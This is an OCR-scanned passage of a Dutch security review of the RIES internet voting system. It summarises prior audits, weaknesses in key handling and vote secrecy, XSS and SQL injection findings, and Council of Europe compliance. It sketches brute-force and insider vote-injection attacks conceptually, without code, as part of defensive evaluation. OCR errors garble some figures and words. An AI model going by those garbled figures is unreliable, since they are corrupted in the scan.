In 2004 heeft het Deense bedrijf Cryptomathic een analyse uitgevoerd
beschrijft de bevindÍngen van Cryptomathic, de reacties daarop van de
Pont), en het commentaar van Fox-IT.

Cryptomathic
Maclaine Pont
Commentaar Fox-IT ten opzichte van RIES-2008

van RIES. Deze paragraaf
ontwerper van RIES (Maclaine

C-
M_
F_
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Cryptomathíc beschrijft de volgende twee gevonden aanvallen op RIES-2004:

Aanval 1
C - Bij RIES-2004 werd ReSPID nog berekend met de helft van de geheime sleutel Kp, genaamd

VPID van 28 bits (een halve DES-sleutel). Hiermee zou het mogelijk zijn de server te bevragen
voor geldige waarden van ReSPID. Als een waarde is gevonden is het makkelijk te zoeken naar
de andere 28 bits van Kp door te zoeken in de publieke RnPID-waardes.

M - Het commentaarvan Maclaine Pont bevestigt deze aanval, In RIES-2008 is ReSP/D daarom niet
meer afhankelijk van een halve unieke gebruikerssleutel.

F - Deze aanval kan niet meer op dezelfde manier uítgevoerd worden. Wel kan het systeem nog
bevraagd worden om ReSP/D-waarden. Het resultaat is dat als een geldíge ReSPID ontdekt wordt
dit niet herleid kan worden naar een valíde sleutel Kp in RIES-2008.

Aanval 2
C - Dit wordt omschreven als een moeilijke aanval. De DES-sleutel Kp kan worden gevonden door te

"brute forcen" en te vergelijken met de publieke RnPfD-waarden.
M - Maclaine Pont is zich bewust van deze aanval maar ziet geen alternatief zonder significant het

aantal karakters dat een kiezer in moet vullen voor een verkiezing te vergroten. Cryptomathic
deelt deze mening. Dit zou alleen verbeterd kunnen worden als er een andere gebruiker-data-
toegangssysteem wordt geïntroduceerd.

F - Deze aanval is binnen RIES-2008 ook erg lastig uít te voeren. Op een ruimte van 2s6 sleutels zijn
er maar circa 13 miljoen geldig (gelijk aan het aantal kiezers). De kans om een juiste sleutel te
gokken is heel erg klein. Als de lijst van alle RnPID op de eerste dag van de verkiezíng
gepubliceerd wordt en de verkiezing duurt twee weken, dan heeft een aanvaller minder dan twee
weken de tijd om sleutels te genereren. Na twee weken is deze aanval niet meer relevant omdat
alle stemmen al ontvangen zijn.

Cryptomathic heeft ook een aantal security-gerelateerde opmerkingen gemaakt:

Opmerking la
C - Het publiceren van RnPotVote moet zo gebeuren dat het niet gekoppeld kan worden aan een

specifieke kiezer. De lijst van RnPfD en RnCm zou gescheiden moeten worden in verschillende
verkiezingen die tegelijkeftijd lopen.

M- Maclaine Pont accepteert dit punt en was van plan dit aan te passen.
F - In RIES-2O08 is dit opgelost door het toevoegen van EIID bii RnCm.

Opmerking 1b
C - De lijst met ontvangen stemmen zou ook geen tijd- en datuminformatie moeten bevatten. Dit zou

informatie kunnen opleveren over de kiezer door kennis van de tijd dat hÍj stemde.
M - Maclaine Pont geeft als commentaar dat er geen intentie is om tijd-/datuminformatie op te slaan.

De lijst met ontvangen stemmen moet gesorteerd worden op VnPID voordat hij gepubliceerd
wordt.

F - Er moet wel op vertrouwd worden dat SURFnet, die het netwerkverkeer afhandelt, geen
tijd-/datum Ínformatie opslaat.

Opmerking 2a
C - Het stemgeheim van een kiezer is gecompromitteerd als iemand na de verkiezing zijn of haar

stembiljet bemachtigt. Als kíezers daarom het stembiljet vernietigen kunnen zij niet meer
verifiëren of hun stem is meegeteld in de verkiezing.

M - Kiezers worden goed voorgelicht over het verníetigen van de stembiljetten. Een alternatief zou
zijn om alleen stempakketten op te sturen als er om wordt gevraagd.

\-.J

Er mag geen tijd-/datuminformatie worden opgeslagen die kan worden gerelateerd aan uitgebrachte
stemmen, aangezien dit zou kunnen leiden tot het herleiden van een uitgebrachte stem naar een
specifieke kiezer. Bij netwerkbeveiliging is het opslaan van tijd-/datuminformatie echter erg belangrijk -
er moet dus goed op gelet worden dat netwerkinformatíe op geen enkele wijze informatie over de
uitgebrachte stem bevat.

Ook verhoudt de eis aan RIES da': tijd-/datumÍnformatie niet wordt opgeslagen zich lastig tot de
wenseliike) mooeliikheid om hertellinoen en verificaties te pleqen.
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De verantwoordelijkheid van het vernietigen van het stembiljet ligt ook in RIES-2008 bij de kiezer. Met
een stembiliet kan na de verkiezÍnq worden achterhaald op wie de kiezer heeft qestemd.

F - Dit is nog steeds het geval bij RIES-2008. De verantwoordelijkheid voor het vernietigen ligt bij de
kiezer.

Opmerking 2b
C - Een verbetering in RIES-2004 zou zijn om VotRecCon te publiceren, Dit geeft de kiezer een

snellere manier om zijn stem op te zoeken en hij hoeft zijn geheíme sleutel niet te reproduceren.
M - Gedeeltelijk wordt dit gedeeld. Maclaine Pont gelooft in een code exclusief voor een kiezer die

laat zien dat hij meegedaan heeft in de verkiezing. Een suggestie is om 4 bytes van de 8-byte
VotRecCon-waarde van de kiezer te publiceren en de andere waarde terug te sturen naar de
kiezer.

F - Deze constructie is inderdaad toegepast in RIES-2008. Een procedureel probleem is dat een
willekeurig individu nu een willekeurÍge waarde van 4 bytes kan genereren en claimen dat zijn
stem niet is meegeteld.

Opmerking 2c
C - Het zou optimaal zijn om een kiezer te laten verifiëren of zijn stem is meegeteld op het moment

dat hij aan het stemmen is. Dit zou gedaan kunnen worden door een digitale handtekening te
gebruiken in plaats van een bevestigingscode,

M - Maclaine Pont is het hiermee eens. Maar 3DES ís gekozen voor praktÍsche redenen.
F - In RIES-2008 ís dit onveranderd. De kiezer kan nog steeds niet tijdens het stemmen verifiëren of

zijn stem is meegeteld. Dit is ook geen eis van de waterschappen, maar het zou wel een
bruikbare aanvulling zijn voor de kiezer die daardoor wellicht meer vertrouwen krijgt in het
systeem.

Opmerking 3
C - Het protocol publiceeft alle ingekomen stemmen en pogingen tot stemmen. Kennis van een

persoon die meerdere gelijke stemmen heeft ingevuld of kennis van een persoon die zowel een
internetstem als een poststem heeft uÍtgebracht maakt het mogelÍjk een verband te leggen
tussen een stem en een kiezer.

M - Maclaine Pont is het hÍermee eens, maar praktische consequenties zijn acceptabel.
F - In het huidige systeem is hier niet zoveel aan te doen, Het wordt al lastig om een verband te

leggen als er geen tijd- en datuminformatie in het gepubliceerde stemmenbestand staat.

Opmerking 4
C - Een systeem is aanwezig dat de poststemmen omzet in digitale stemmen, Personeel dat de

poststemmen afhandelt kan de geheime code lezen, daarmee een internetstem uitbrengen en er
zo voor zorgen dat een stem niet meegeteld wordt.

M - Dit is een algemeen probleem bij poststemmingen: wie de stembiljetten opent kan de stemmen
manipuleren. Dit is procedureel ondervangen.

F - Geen opmerkingen specifiek ten aanzien van internetstemmen, bedreigingen van
poststemmingen is niet in scope voor dit onderzoek.

Opmerking 5
C - Servers en datacommunicatie mogen niet gecompromitteerd worden.
M - De servers worden opgezet door een vertrouwde partij in een geïsoleerde omgeving.
F - Dit is ook het geval bij RIES-2008, waar SURFnet de netwerkstructuur opgezet heeft. Zie voor

meer commentaar hoofdstuk 4 van dit rapport.

Secrecy
C - Behalve de hierboven genoemde aanvallen en opmerkingen ziet Cryptomathic geen manier om de

geheimhoudÍng te compromítteren. Er is volgens Cryptomathic ook sprake vanfairness omdat er
geen informatie naar buiten lekt tijdens de verkiezing omdat RIES tijdens de verkiezing niets
publiceert.

b.-^a

Een kwaadwillende kan een willekeurige kwitantie genereren en claimen dat zijn stem niet is meegeteld
in de verkiezinq, Er is qeen mechanisme dat controleert of een kwitantíe valide is of níet.
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Correctness
C - CryptomathÍc ziet geen manieren om stemmen te dupliceren, modificeren of te injecteren.

Kieze rsbevesti g in gscode
C - Cryptomáthic meent dat de VotRecCon-constructie niet veel nut heeft. Als VofRecCon correct is

kan de kiezer reclameren als hij erachter komt dat na de verkiezingen zijn stem niet is
geregistreerd. Echter, als TTP Internetstemmen wil frauderen dan zal aan de kiezer sowieso geen

correcte VotRecCon gegeven worden.
M - Er is de wil om dit verbeteren.
F - Er is een "Umpire"-functie toegevoegd die na de verkiezingen nogmaals alle stemmen VotRecCon

berekent door middel van de RIPOCS-server en de stemmen die zijn uitgegeven. De umpire kan

dan ingezet worden als iemand een willekeurigeVotRecConCnt genereeft en zegt dat zijn stem

niet is meegeteld. De Umpire-functie maakt gebruik van een MAC-algoritme om de integriteit en

authenticiteit te bepalen van alle stemmen. Maar hoe kan de Umpire overtuigd worden dat
nÍemand een willekeurige code heeft gegenereerd en claimt dat zijn stem niet is meegeteld? Zie

bevindíng 2.5.

Sleutelbeheer
C - Iedereen met toegang tot Kgenvoterkey kan valse stemmen genereren en zíen wat personen

hebben gestemd. Daarom moeten deze sleutels goed beheerd worden.
M - Een off-line benadering zal worden ontworpen.
F - In RIES-2008 is cryptografische hardware toegevoegd om het sleutelbeheerte regelen.

2.L.3 RrES-2008
5. Description and Analysis of the RIFS InternetVoting System, analyse van RIES in opdracht van

het Waterschaoshuis door EIPSI, 2008 (10

Dit rapport geeft een beschrijving en analyse van de veiligheid van RIES-2008. Het rapport is gebaseerd

op de beschikbare documentatie. Het rapport geeft een uitgebreid verslag van RIES-2008 en concludeert
met een aantal bevindingen gebaseerd op een lijst van eisen uit het rapport van de commissie-Korthals
Altes (13):

. Commentaar op het gebruik van DES en SHA-I.

. Documentatie is uitgebreid maar soms lastig te doorgronden. Fox-IT sluit zich hierbij aan
(bevinding 5.7).

r Er kan níet gevalideerd worden dat vervalste kwitanties niet echt zijn (ook al opgemerkt door
Cryptomathíc in GZ), zie ook bevinding 2,5).

. Alle sleutels Kp worden bij de drukker afgeleverd, die ze onversleuteld kan zien (zie ook
bevinding 5.5).

. Met RIES kunnen stemmen door andere worden uitgebracht
worden naar iemand anders dÍe voor jou kan stemmen.

. Er is een bewijs dat iemand daadwerkelijk gestemd heeft en
bevinding 2.4).

(family voting). Kp kan opgestuurd

het is te achterhalen op wie (zíe ook

De voornaamste nieuwe bevindíng in dit rapport is dat stemmen vervalst zouden kunnen worden
(bevínding 2.6).

De algemene conclusie van EiPSI luidt dat RIES-2008 alleen geschikt is ter veruanging van poststemmen,
en niet geschíkt ter veruanging van het stemmen in een fysiek stembureau.

EiPSI laat in (10) zien dat het mogelijk is om stemmen te injecteren of te verwisselen met hulp van
binnenuit: de aanval is gericht op VnCx die 64 bits lang is en RnCX;=MDC(VnCx)i. De aanvaller creëert
een lijst met MDC(x) waarbij x=O, X=L, x=2, etcetera. Dit levert een lijst op van 2" willekelfige 64-bits
waaràen, hetgeen ongeveer 32 Gbyte geheugenruimte in beslag neemt. De lijst bevat dus 233

verschillende willekeurige stemmen. De aanvaller wil de stem van een kiezer vervangen door een
willekeurige gegenereerde stem. Deze aanval vergt wel wat aannames: de aanvaller moet toegang
hebben tot de ontvangen stemmen en waarschijnlÍjk tot de stemseruer voordat het tellen begÍnt. De
makkeliikste maníer om dit te doen is met hulp van binnenuit.

\-^í
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2,2 Rapporten over het gebruik van RIES

2.2.L RrES-2004
6. Naar 30o/o respons: eindrapport, onderzoek naar o.a. de gebruiksvriendelijkheid voorafgaand aan

de waterschapsverkiezinqen per internet in 2004 door lthaka InfoVisie (14)
7. Waterschapsverkiezingen 2004, evaluatie van o.a, de mening van kiezers over

gebruiksvriendelÍjkheid na afloop van de waterschapsverkiezingen per internet in 2004 door
Ithaka InfoVisie (15)

8. E-stemmen: laatjij jeonlinestemgelden?, marktonderzoekuÍt2004doorNetPanel naaronder
andere de qebruiksvriendelijkheíd ( 16)

9, Resultaten quickscan e[ektronisch stemsysteem, onderzoek naar de bruikbaarheÍd van de
stemsite door TNO Technische Menskunde, 2004 (17)

Vier onderzoeksrapporten zijn aangeleverd die evalueren hoe het gebruik van RIES in 2OO4 is bevallen bij
de kiezer. Aangezien de stemsite qua functionaliteit niet veel is veranderd kan een oordeel over de
gebruikersvríendelijkheid hierop gebaseerd worden.

TNO Technische Menskunde heeft een usabilíty quickscan uitgevoerd op de interface van een prototype
van het RlES-systeem. Er is rekening gehouden met verschillende gebruikers en verschillende doelen of
taken, In het rapport worden 54 knelpunten benoemd m.b.t. de gebruiksvriendelijkheid en
toegankelijkheid van het elektronische stemsysteem.

Het onderzoek is gedegen en volledig. Er worden vele punten voor verbetering genoemd. Het rapport
geeft geen indicatie van de ernst van de knelpunten. Het onderzoek is verricht op een prototype van een
voorloper (RIES-2004) van het huidige systeem (RIES-2008). Sindsdien is aan de bevindingen van het
rapport opvolging gegeven. Een hernieuwd onderzoek zou echter wenselijk kunnen zijn, om te verifiëren
of nog altijd knelpunten kunnen worden geïdentificeerd.

De onderzoeken door lthaka en Netpanel laten zien dat kiezers in de Waterschappen Ríjnand en Dommel
in 2OO4 positief oordeelden over het gebruiksgemak van de site.

2.2.2 KOA-2006
LO. Kíezen op Afstand, Stemmen via internet, Rapportage experiment Tweede Kamerverkiezingen

2006, evaluatie van het gebruik van RIES in 2006 door het MÍnisterie van Biinnenlandse Zaken en
Koninkri'iksrelaties, 2006 ( 18

Het Ministerie van BZK evalueerde het gebruik van RIES bij het experiment Kiezen op Afstand voor
kiezers in het buitenland bij de Tweede Kamerverkiezingen van 2006. Het rapport evalueert op basis van
de volgende drie uitgangspunten:

a. hoe de kiesgerechtigden oordelen over het stemmen met behulp van internet;
b. de ervaringen van de stembureauleden;
c. de organisatorische consequenties en de financiële en administratieve lasten.

Ten aanzien van dit onderzoek is alleen onderdeel (a) relevant, omdat ook het Waterschapsbesluit eist
dat gebruikersvriendelíjkheid en toegankelijkheid is geborgd. Het positieve oordeel van kiesgerechtigden
dat blijkt uit de evaluatie geeft een positÍef signaal ten aanzíen van deze eis uit het Waterschapsbesluit.

2,3 Technísche toetsingen van de beveiliging

2.3.L RIES-2004
tI, Senrer Audit van RIES, een analyse uit 2004 van de serverconfiguraties door de Radboud

Universiteit (KUN) (19

De Security of Systems Group van de Radboud Universiteit (destijds KUN) heeft in juli 2004 een
onderzoek gedaan naar RIES-7OO4 (19). Het gaat om een analyse van de serverconfiguratie die destijds
in gebruÍk was. In het nieuwe systeem zullen geheel andere c.q. vernieuwde versies van

L* /
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besturingssystemen worden gebruikt,
opzet. Een aantal bevindingen hieruit

Denial of Service

Database/ logfi les vu llen

hetgeen dit rapport grotendeels irrelevantmaakt voor de huidige
zijn echter nog wel relevant en zijn hieronder genoemd.

De bescherming tegen Denial of Service aanvallen wordt verzorgd
door SURFnet. Dit wordt aangegeven in (20) (paragraaf 1.2, item
6 onder Actíes n,a.v. de conclusie).
Dit wordt ook door SURFnet verzorgd door te zorgen voor
voldoende diskspace. Dit wordt aangegeven in (20) (paragraaf
1,2, item 6 onder Acties n.a.v. de conclusie),

Deze bevindingen zijn volgens de aangeleverde documentatie grotendeels opgelost in het huidige
stemsysteem, met uitzondering van het volgende issue.

L2. RIES Infrastructuur Audit, een technische analyse van de serverconfiguraties door Madison
Gurkha, 2OO4 (2I

13. RIES JavaScript Review, een analyse van de software die bij het stemmen in de browservan de

kiezer draait door Madison Gurkha,2Q04 (22

Madison Gurkha heeft in 2004 grondige reviews van de veiligheid uitgevoerd van de serverconfiguraties
en van het gedeelte van de stemdienst díe door de browser van de kiezer moet worden uitgevoerd.
Gezien de eerder genoemde ontwikkelingen sínds 2OO4 ten aanzien van de inrichting van de
serversystemen en van RIES zelf sinds 2004 kan de relevantie van deze onderzoeken voor RIES-2008
zeer beperkt worden genoemd. Fox-lT acht het wel zeer wenselijk dat een dergelijke beveiligingstest
wordt uitgevoerd op de selvers die in 2008 zullen worden gebruikt.

De Radboud Universiteit stelt in (19) als volgt: "Het afsluiten van de stemserver na de test is volgens ons
niet adequaat gedaan. Het is niet precies op het moment dat de testperiode afliep gedaan en het is ook
niet gedaan voor alle ingangen naar de stemomgeving."

Het Waterschapshuis geeft niet aan of men instemt met deze bevinding en zo ja, op welke wijze hetzelfde
leem in de toekomst kan worden voorkomen.

In 2004 is een grondige beveiligingstest uitgevoerd van de serverconfiguraties alvorens de verkiezÍngen
van staft gingen. In 2008 zullen andere (versies van) besturingssystemen worden gebruikt, waardoor de
test uit 2OO4 niet meer relevant is. Uitvoering van een dergelijke test is van belang voor de beveiliging,
zoals ook qeïllustreerd door de qedetailleerde onderzoeksbevindinqen in (21

2.3.2 KOA-2006
14. Beoordeling KOA, Een beoordeling van de integriteÍt van "Kiezen op Afstand", onderzoek naar de

inteoriteit van de broncode door CIBIT,2006 (23

CIBIT, een IT-adviesbureau uit Bilthoven, heeft in september 2006 een een review uitgevoerd van de
broncode van RIES zoals die op dat moment werd voorzien voor de Tweede Kamerverkiezingen in 2006
(Kiezen op Afstand) (23). De belangrijkste conclusies van CIBIT luiden als volgt:

Kwetsbaarheid STUF-C10

Gevoef ig heid Kge nvote rkey

Lengte van de SSl-pakketten

Dít bestand wordt versleuteld aangeleverd aan de drukker. De
sleutel wordt door middel van procedures afgeschermd zodat
alleen de drukker de beschikking hierover heeft. Dit wordt
aangegeven in (20) (paragraaf 1.2, item 1 onder Acties n.a.v. de
conclusie). Zie ook bevínding 5.5 in dit rapport.
Deze sleutel is nu slechts beschikbaar binnen de hardware-
cryptomod ules.
Hoewel de inhoud van vía het internet verzonden berichten
versleuteld is zou de grootte van een datapakket aanwijzingen
kunnen geven over de stem die erin zit. Dit issue is inmiddels
opgelost in de implementatie door de gehele lijst van partijen en
kandidaten in een keer over te sturen, blijkens eigen onderzoek
van Fox-IT.

\--4
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Configuratie moet goed staan

Logging van stemmen mag niet

Voorkomen van bruteforce

2x vervangend stempakket

Niet-publieke info moet gewist
worden

Rechten helpdesk/ beheer

Dit wordt gecontroleerd door middel van een 'scholtw' van de
configuratie, voordat de verkiezingen starten. Dit wordt
aangegeven in (20) (paragraaf 1.2, item 4 onder Acties n.a.v. de
conclu sie),
Ook dÍt risico wordt aangepakt door middel van procedures. Dit
wordt aangegeven in (20) (paragraaf 1.2, ítem 5 onder Acties
n.a.v, de conclusie), Er is echter sprake van conflicterende
belangen, zie ook bevinding 2.3,
Wordt geregeld door SURFnet die het technische beheer doet. Dit
wordt aangegeven in (20) (paragraaf 1.2, item 6 onder Acties
n.a.v. de conclusie).
Elk vervangend pakket wordt geregistreerd, dus twee
veruangende stempakketten naar dezelfde kiezer sturen wordt
gedetecteerd, blijkens de aangeleverde documentatie en uit
interviews met de betrokkenen bÍj het Waterschapshuis.
Dit wordt opgelost door middel van procedures en verplichtingen
aan onder andere de drukker. Dit wordt aangegeven in (20)
(paragraat t.2, item 1 onder Acties n.a.v, de conclusie).
De rollen binnen RIES zijn strikt gescheiden, en procedureel Ís er
de eis dat de verschillende rollen door verschillende mensen
worden uitgevoerd. Dit wordt aangegeven in (20) (paragraaf L.2,
item 9 onder Acties n.a,v. de conclusie). De beveiliging van de
portalschermen (zie hoofdstuk 4) geeft echter aanleiding tot zorg
dat deze rollenscheiding omzeild kan worden.

Deze bevindingen zijn volgens de aangeleverde documentatie grotendeels opgelost in het huidige
stemsysteem, met uitzondering van het volgende issue.

L5. Webapplicatiescan Kiezen op Afstand, technisch onderzoek via het internet naar de stemsite door
GOVCERT.NL uit 2006 (24

GOVCERT.NL levert een beknopt verslag van een beveilígingstest via het internet van de stemsite ten
tijde van Kiezen op Afstand Ín 2006, De korte conclusie bevat de serieuze waarneming dat de site
kwetsbaar is voor het zogenaamde Cross-Sife Scripting (XSS), De respons van het Waterschapshuis
schat naar de mening van Fox-IT de impact van deze kwetsbaarheden geheel onjuist in door te stellen
dat actie op dit punt onnodig is.

Uit de eigen beveiligingstest van Fox-IT bleek echter dat de kwetsbaarheid van de stemsite voor XSS-
aanvallen wel degelijk is opgelost, in tegenstelling tot wat de documentatie beweeft.

Wel bleek uit dit onderzoek dat de beheerschermen van SURFnet en de waterschappen nog wel
bevattelijk zijn voor XSS, zie bijvoorbeeld bevinding 4.8. Ook zijn deze schermen kwetsbaar voor een
ernstiger: vorm van manipulatie door gebrekkige Ínvoervalídatie, SQL injecfion (bevinding 4.lL).

2.3.3 RrES-2008
16. Review integriteit RIPOCS broncode, onderzoek naar de broncode van specifiek onderdeel van

RIES, in opdracht van het Waterschapshuis, door Collis (2008) (25

In opdracht van het Waterschapshuis heeft het Leidse bedrijf Collis een analyse uitgevoerd van de
broncode van een gevoelig onderdeel van RIES-2008, RIPOCS, RIPOCS omvat de hardware dÍe de
cryptografische sleutels maakt en onder andere de geheime "hoofdsleutel" Kgenvoterkey bevat.

Uit het rapport blijkt dat Collis in juni 2008 net als Fox-lT het probleem heeft ondervonden dat een
systeem moest worden onderzocht dat nog in ontwikkeling was: "Voor dit onderzoek is ons een
voorlopige versie van de broncode en een nog in ontwikkeling zijnde versie van de specifícaties ter

\-^J

CIBIT uit in (23) zorgen over de relatieve onbekendheid van het hashing-algoritme MDC-z. Deze
onbekendheid betekent dat minder zekerheid bestaat over de betrouwbaarheíd van het algorítme dan bij
de meer qanqbare hashinq-alqoritmes. Fox-IT deelt deze zorq.
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beschikking gesteld ter beoordeling. Gevolg hiervan is dat over de integriteít van de definitieve
implementatie van RIPOCS geen uitspraak gedaan kan worden."

Collis concludeert dat "een aantal zwakheden en inconsistenties [zijn] geconstateerd die tot ongewenst
gedrag kunnen lijden (síc). [...] De inschatting is dat met relatief eenvoudÍge aanpassingen de risico's
voor een groot deel gemitigeerd kunnen worden."

Fox-IT kan zich in de conclusies van Collis vinden, maar moet (met Collis) opmerken dat de relevantie
van het onderzoek beperkt is door de veranderlijkheid van het onderzochte object. Zolang het
onderzoeksobject niet definitíef vaststaat is het niet mogelijk een uitspraak te doen over de veilígheid van
het systeem dat zal worden gebruÍkt.

2.4 Algemene analyses en testrapporten

2.4.r KOA-2006

18

L7 Risicoanalyse Kiezen op Afstand, risicoanalyse van het internetstemsysteem door het Ministerie
van BZK uit2007 (26
Schouwrapportage Kiezen op Afstand, verslag van een "schouw" op Kiezen op Afstand bij de
Tweede Kamerverkiezingen van 2006 (auteur onvermeld, waarschijnlijk door of in opdracht van
het Ministerie van BZK uitqevoerd\ (27

19. Een negental testrapporten uitgevoerd voorafgaand aan de Tweede Kamerverkiezingen van 2006
(auteur onvermeld, waarschijnlijk door of in opdracht van het MinisterÍe van BZK uitgevoerd):
een accessibitity fesf (28), een backup- en recoverytest (29), een browsercompatibiliteitstest
(30), een deelsystementest (31), een functionele acceptatiefest (32), een functionele
acceptatietest helpdesk (33), een inhoudelijke stressfest (34), een kefentest (35) en een

ietest (36

De diverse testrapporten leveren nog een aantal aanbevelingen op waaraan door het Waterschapshuis
nog níet in alle gevallen opvolging ts gegeven:

In 2006 is geconstateerd dat men op calamiteíten niet is voorbereid, er is geen calamíteÍtenplan. Het
Waterschapshuis heeft aangekondigd dat het calamiteitenplan in augustus 2008 gereed zal zijn.

Als mitigerende omstandigheid moet worden opgemerkt dat de geplande verdeling van de infrastructuur
over drie locaties in drie verschill steden de kwetsbaarheid voor ramDen beperkt,

In 2006 is de stemsite getoetst aan de overheidsrichtlijnen voor toegankelijkheid van websites. Dit is met
name belangrijk voor mensen met een visuele handicap, maar helpt ook te garanderen dat werking van
de site niet afhankelijk is van het gebruik van een bepaalde webbrowser.

De site faalde op 18 van de 22 eisen, Dit wordt met name veroorzaakt door het feit dat het voor het
stemgeheim essentieel is dat de browser bepaalde complexe berekeningen uitvoeft (in Javascript), en dat
de toegankelijkheidseisen afhankelijkheid van Javascript categorisch verbieden.

Jammer is dat het Waterschapshuis in haar reactie dit punt in het geheel niet maakt, maar zich beperkt
tot de mededeling dat nÍet alle bevindingen in 2008 zullen zijn opgelost.

Een analyse van de toegankelijkheid van de site voor visueel gehandicapten zou zinvol zijn. Het is niet
onmogelijk dat de site geschikt kan worden gemaakt voor visueel gehandicapten zonder af te doen aan
de handhavinq van het stemqeheim.

De conclusie van de regressietest luidt onder meer dat de site niet goed werkt in browsers die op KHTML
zijn gebaseerd zoals Safari (Apple) en Konqueror (Linux). Het Waterschapshuis geeft in een reactie (20)
aan hier geen prioriteit aan te geven voor 2008. Gebruikers hebben met het gratis beschikbare Mozílla
Firefox een alternatief.
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3 Aanbevelingen Raad van Europa

3,7 Inleiding
In dit hoofdstuk zijn een aantal observaties gedaan op het internet verkiezingssysteem met betrekking
tot de Aanbevelingen van de Raad van Europa (3). De observaties zÍjn gebaseerd op de aangeleverde
documentatie door het Waterschapshuis (4) en eigen waarnemingen in door Fox-IT uitgevoerd
aanvullend onderzoek (zie Hoofdstuk 1). Vanwege de ook in Hoofdstuk l omschreven problematiek ten
aanzÍen van de nog niet definitieve versies is bestaanscontrole slechts in beperkte mate uitgevoerd.
Conclusies en bevindingen (zowel positief als negatief) zijn derhalve vrijwel uitsluitend gebaseerd op
documentatieonderzoek naar de opzet van RIES-2008.

Bij het beoordelen is gekeken naar het concept en de implementatie. Een aanbeveling of eis kan in

concept voldoen, bijvoorbeeld omdat bepaalde procedures zijn opgesteld. In een aantal gevallen is het
sterk afhankelijk hoe bepaalde zaken zijn geprogrammeerd of geïmplementeerd. Er zijn ook gevallen
waarbij de aanbeveling of eis theoretÍsch onmogelÍjk is om aan te voldoen. In dat geval moet er sprake
zijn van een "best effort". Er moeten maatregelen zijn genomen met "gepaste ijver".

3,2 Bevindingen
In Appendix B vindt u de analyse van Fox-IT ten aanzien van elk van de 112 aanbevelingen die de Raad
van Europa doet. Waar moet worden opgemerkt dat RIES-2008 niet of niet aantoonbaar voldoet aan een
aanbeveling hebben we dit geformuleerd in een onderzoeksbevinding, als volgt:

Hoewel bedieningsgemak van voorgaande versies vrij uitgebreÍd en positief is beoordeeld kan niet
worden vastgesteld of dit ook geldt ten aanzien van de huidige versie - uit de aangeleverde
documentatie blijkt niet dat dit opnieuw getest is, of dat de wijzigingen op bedÍeningsgemak zijn
beoordeeld (Raad van Europa, Aanbevelingen I,3,20,61, 63). Voorwat betreft de toegankelijkheid
refereren we ook aan bevindinqen 2,11 en 2.L2.

EETUSSJII!
In Aanbevelingen 5 en 6 raadt de Raad van EUropa aan dat een kiezer slechts éénmaal, via één kanaal,
een stem kan uitbrengen. Formeel voldoet RIES-2008 daaraan niet, hoewel dubbeltellingen worden
voorkomen. Wel is het mogelijk dat een stem na te zijn uitgebracht ongeldig wordt gemaakt, eventueel
zelfs ongemerkt als de kiezer geen bevestiging van de stem ontvangt (bijvoorbeeld door een technische
storino). en later ls stemt op een andere kandidaat waardoor beide stemmen onqeldiq worden.

RIES-2008 voldoet formeel niet aan Aanbeveling l1van de Raad van Europa. Door de opslag van
versleutelde stemmen (inherent aan het systeem) ís reconstructie van de stem in principe mogelijk, zij
het dat dit omgeven is door technische en organisatorische beschermingsmaatregelen,
Ook bevindingen 4,1 (versturen van afgebroken stem) en 5.1 (stemgeheim niet houdbaar na 2030)
veroorzaken dat RIES-2008 niet voldoet aan Aanbevelinq 11.

Foutmelding A020 (37) vermeldt de mogelijkheid van blanco stemmen niet. Dit kan worden uitgelegd als
striidio met Aanbevelino 13 van de Raad van Eurooa.

Bevinding 5.1 (stemgeheim níet houdbaar na 2030) betekent dat aan Aanbevelingen 17 en 78 van de
Raad van Eurooa (betreffende anonimiteit van de kiezer) in RIES-2008 niet wordt voldaan.

Uit de documentatie is níet gebleken dat conform aanbeveling2T van de Raad van Europa is voorzien in
een "proefstemvoorziening" waar kiezers voorafgaand aan de verkiezingen het internetstemsysteem
kunnen uitoroberen.

\-J
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Aanbevelingen 51 en 52 van de Raad van Europa zijn strijdig met het fundamentele ontwerp van RIES.

De kwitantie voor de kiezer en de mogelijkheid om na afloop van de verkiezíngen te bevestigen dat een

stern is meegeteld zijn inherent aan de opzet van RIES, De Raad van Europa waarschuwt voor de

mogelijkheid dat een kiezer die gedwongen wordt een bepaalde stem uit te brengen híerdoor in de
problemen kan komen. Echter, de opzet van de waterschapsverkiezingen (poststemming c.q.
internetstemming) is hoe dan ook al zodanig dat kiezersdwang mogelijk is.

Wel moet worden opgemerkt dat RIES het mogelijk maakt dat een stem na afloop van de verkiezingen
nog wordt geverifieerd door met behulp van de stemcode (Kp, zie Hoofdstuk 5) de gewenste stem zelf te
herberekenen en deze te toetsen met behulp van het vooraf gepubliceerde referentiebestand en de
achteraf gepubliceerde gedetailleerde uitslag.

Zie ook bevindi 2.4 en 2.5.

Aanbeveling 82 van de Raad van Europa spreekt van eenduidige identíficatie van kiezers. De opzet van

RIES-2008 laat volgens de documentatie echter de mogelijkheid open dat twee of meer personen op

hetzelfde adres met dezelfde voorletters en achternaam (doch met verschillend geboortejaar) identieke
stempakketten ontvangen. Tenzij deze personen bij toeval het juiste stempakket gebruiken zal dit erin

ulteren dat zi'i. zonder dat zii het merken, een onqeldige steryt U!!ble-nq-q-n.

RIES kan niet voldoen aan Aanbeveling 93 van de Raad van Europa, die vereist dat elk spoor wordt
gewist dat een individuele kiezer mogelijk in verband kan brengen met de uitgebrachte stem. In RIES

worden sporen van een stem met opzet niet gewist. Dit levert inherente rÍsico's, zoals geïllustreerd door
bevinding 5.1.

Overigens betekent ook een fout in de huidige versie van de implementatie (bevindÍng 4.6,
internetstemsite laat technische stemcodes achter in de browsergeschiedenis) dat RIES-2008 zoals in juni
2008 bii de ketentest qebruikt niet aan aanbeveling 3 voldoet.

Uit de opzet van de netwerk- en serverconfiguratie dÍe de waterschappen willen gebruiken voor RIES-
2008 blijkt niet dat er is voorzien in een logsysteem dat de activiteiten van de technisch beheerders
vastlegt. Dit is een essentiële controlemaatregel die ook vereist wordt door Aanbeveling 109 van de Raad

van Europa.

\-1
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4 Bevei I i g i ngstest i nternetstemvoorzien i ng

4.7 Omschrijving onderzoek
Bij het ketenonderzoek dat het Waterschapshuis in juni 2008 uitvoerde heeft Fox-lT eigen onderzoek
verricht naar de beveiliging van het internetstemgedeelte van de test, Deze toepassing kon tussen 16 en
24 juni 2008 worden worden bereikt onder het webadres http z / /sLem. surf net .nI/, alwaar stemmen
in testverkiezingen van de ketentest konden worden uÍtgebracht. Het Waterschapshuis stelde Fox-IT tien
stempakketten voor de testverkiezingen ter beschikking, waarmee is getest in hoeverre via het internet
misbruik zou kunnen worden gemaakt van de internetstemvoorziening.

